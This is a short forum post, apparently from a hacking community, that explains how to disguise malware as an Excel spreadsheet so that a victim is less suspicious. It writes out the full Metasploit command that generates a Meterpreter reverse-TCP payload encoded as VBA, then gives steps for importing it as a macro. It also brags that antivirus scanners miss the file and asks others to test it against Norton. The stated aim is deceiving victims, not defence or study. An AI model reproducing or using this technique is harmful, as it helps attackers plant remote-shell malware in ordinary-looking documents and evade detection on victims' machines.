Someone here was looking for non-exe type file (jpg?) so that the victim is less suspicious while running them. Well, an excel file may be the solution.

I used:
1. BT3 with msf v3.3
2. M$ office 2002 SP3 in a vista box

First, I generated a VBA code in a konsole in BT3 box:
Code:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=7777 R | ./msfencode -b '' -t vba >> /root/Desktop/meterpreter.cls
I transferred the file to Windows, then, created an excel document, AND Tools>Macro>Visual Basic Editor. From the File>Import File>Browsed to the .cls file.

Job done!


PS: Virustotal scans the excel file as clean. Can somebody check with Norton AV please...